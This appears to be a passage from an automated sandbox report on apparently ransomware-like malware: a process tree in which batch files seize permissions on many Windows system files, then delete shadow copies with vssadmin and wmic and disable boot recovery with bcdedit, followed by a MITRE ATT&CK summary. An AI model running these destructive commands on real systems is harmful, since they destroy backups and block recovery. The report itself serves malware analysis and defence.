C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml" /E /G Admin:F /C3⤵PID:6676
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml"3⤵
- Modifies file permissions
PID:7216
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftInternetExplorer2013.xml" -nobanner3⤵PID:2236
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftInternetExplorer2013.xml" -nobanner4⤵PID:8176
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7272
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml""2⤵PID:7364
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml" /E /G Admin:F /C3⤵PID:7424
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml"3⤵PID:7344
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2013Office365Win32.xml" -nobanner3⤵PID:7300
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2013Office365Win32.xml" -nobanner4⤵PID:7472
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7376
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml""2⤵PID:7580
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml" /E /G Admin:F /C3⤵PID:7512
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml"3⤵PID:7468
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOutlook2016CAWin32.xml" -nobanner3⤵PID:7564
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOutlook2016CAWin32.xml" -nobanner4⤵PID:7696
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7792
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd""2⤵PID:7780
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd" /E /G Admin:F /C3⤵PID:7668
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd"3⤵PID:7896
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "SettingsLocationTemplate.xsd" -nobanner3⤵PID:7904
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "SettingsLocationTemplate.xsd" -nobanner4⤵PID:7972
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7860
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml""2⤵PID:7700
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml" /E /G Admin:F /C3⤵PID:8068
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml"3⤵PID:8120
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "DesktopSettings2013.xml" -nobanner3⤵PID:8024
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "DesktopSettings2013.xml" -nobanner4⤵PID:8020
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:8000
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin32.xml""2⤵PID:7868
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin32.xml" /E /G Admin:F /C3⤵PID:8160
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin32.xml"3⤵PID:8156
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2013BackupWin32.xml" -nobanner3⤵PID:7360
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2013BackupWin32.xml" -nobanner4⤵PID:5636
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6504
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin32.xml""2⤵PID:7436
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin32.xml" /E /G Admin:F /C3⤵PID:7492
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin32.xml"3⤵PID:7588
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOutlook2013CAWin32.xml" -nobanner3⤵PID:7388
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOutlook2013CAWin32.xml" -nobanner4⤵PID:7232
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7456
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\VdiState.xml""2⤵PID:7532
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\VdiState.xml" /E /G Admin:F /C3⤵PID:7788
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\VdiState.xml"3⤵
- Modifies file permissions
PID:7608
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "VdiState.xml" -nobanner3⤵PID:7820
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "VdiState.xml" -nobanner4⤵PID:7888
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7916
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml""2⤵PID:7968
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml" /E /G Admin:F /C3⤵PID:7772
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml"3⤵PID:7824
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "behavior.xml" -nobanner3⤵PID:8092
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "behavior.xml" -nobanner4⤵PID:8116
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:8036
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml""2⤵PID:8048
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml" /E /G Admin:F /C3⤵PID:7200
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml"3⤵PID:8168
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "resource.xml" -nobanner3⤵PID:7204
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "resource.xml" -nobanner4⤵PID:7212
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7224
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Network\Downloader\edb.log""2⤵PID:7236
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Network\Downloader\edb.log" /E /G Admin:F /C3⤵PID:7260
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Network\Downloader\edb.log"3⤵
- Modifies file permissions
PID:7604
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "edb.log" -nobanner3⤵PID:7240
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "edb.log" -nobanner4⤵PID:7628
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7520
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edbtmp.log""2⤵PID:7736
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edbtmp.log" /E /G Admin:F /C3⤵PID:7912
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edbtmp.log"3⤵
- Modifies file permissions
PID:7800
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "edbtmp.log" -nobanner3⤵PID:7932
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "edbtmp.log" -nobanner4⤵PID:7796
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7948
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml""2⤵PID:8104
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml" /E /G Admin:F /C3⤵PID:8124
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml"3⤵
- Modifies file permissions
PID:7872
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftNotepad.xml" -nobanner3⤵PID:7676
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftNotepad.xml" -nobanner4⤵PID:7856
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:8180
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin64.xml""2⤵PID:7192
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin64.xml" /E /G Admin:F /C3⤵PID:7712
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin64.xml"3⤵
- Modifies file permissions
PID:8056
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2016BackupWin64.xml" -nobanner3⤵PID:7380
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2016BackupWin64.xml" -nobanner4⤵PID:7476
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7500
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml""2⤵PID:7400
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml" /E /G Admin:F /C3⤵PID:6424
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml"3⤵
- Modifies file permissions
PID:7848
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "NetworkPrinters.xml" -nobanner3⤵PID:7964
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "NetworkPrinters.xml" -nobanner4⤵PID:7776
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7816
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\Admin\AppData\Local\TileDataLayer\Database\EDB.log""2⤵PID:7620
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\TileDataLayer\Database\EDB.log" /E /G Admin:F /C3⤵PID:7992
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\TileDataLayer\Database\EDB.log"3⤵PID:8148
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "EDB.log" -nobanner3⤵PID:7876
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "EDB.log" -nobanner4⤵PID:7320
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7996
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\AppV\Setup\OfficeIntegrator.ps1""2⤵PID:7248
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\AppV\Setup\OfficeIntegrator.ps1" /E /G Admin:F /C3⤵PID:7544
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\AppV\Setup\OfficeIntegrator.ps1"3⤵
- Modifies file permissions
PID:7244
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "OfficeIntegrator.ps1" -nobanner3⤵PID:7368
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "OfficeIntegrator.ps1" -nobanner4⤵PID:7276
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7304
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml""2⤵PID:7644
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml" /E /G Admin:F /C3⤵PID:7732
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml"3⤵
- Modifies file permissions
PID:7592
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "resource.xml" -nobanner3⤵PID:7316
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "resource.xml" -nobanner4⤵PID:7452
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7672
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edbres00001.jrs""2⤵PID:7312
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edbres00001.jrs" /E /G Admin:F /C3⤵PID:8100
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edbres00001.jrs"3⤵PID:7612
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "edbres00001.jrs" -nobanner3⤵PID:7704
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "edbres00001.jrs" -nobanner4⤵PID:7488
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7460
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml""2⤵PID:7508
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml" /E /G Admin:F /C3⤵PID:8064
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml"3⤵PID:7976
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftLync2013Win32.xml" -nobanner3⤵PID:1528
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftLync2013Win32.xml" -nobanner4⤵PID:7384
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7408
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml""2⤵PID:7760
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml" /E /G Admin:F /C3⤵PID:7812
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml"3⤵
- Modifies file permissions
PID:8040
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2013Win64.xml" -nobanner3⤵PID:7252
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2013Win64.xml" -nobanner4⤵PID:7484
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:8164
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml""2⤵PID:8140
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml" /E /G Admin:F /C3⤵PID:7624
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml"3⤵PID:7336
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftSkypeForBusiness2016Win64.xml" -nobanner3⤵PID:8080
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftSkypeForBusiness2016Win64.xml" -nobanner4⤵PID:4116
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7892
-
-
-
C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\kGMWPppn.bat"1⤵PID:5024
-
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet2⤵
- Interacts with shadow copies
PID:4748
-
-
C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4416
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No2⤵
- Modifies boot configuration data using bcdedit
PID:5036
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
PID:3696
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F2⤵PID:4132
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:4488
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
File Deletion
2File and Directory Permissions Modification
1Modify Registry
3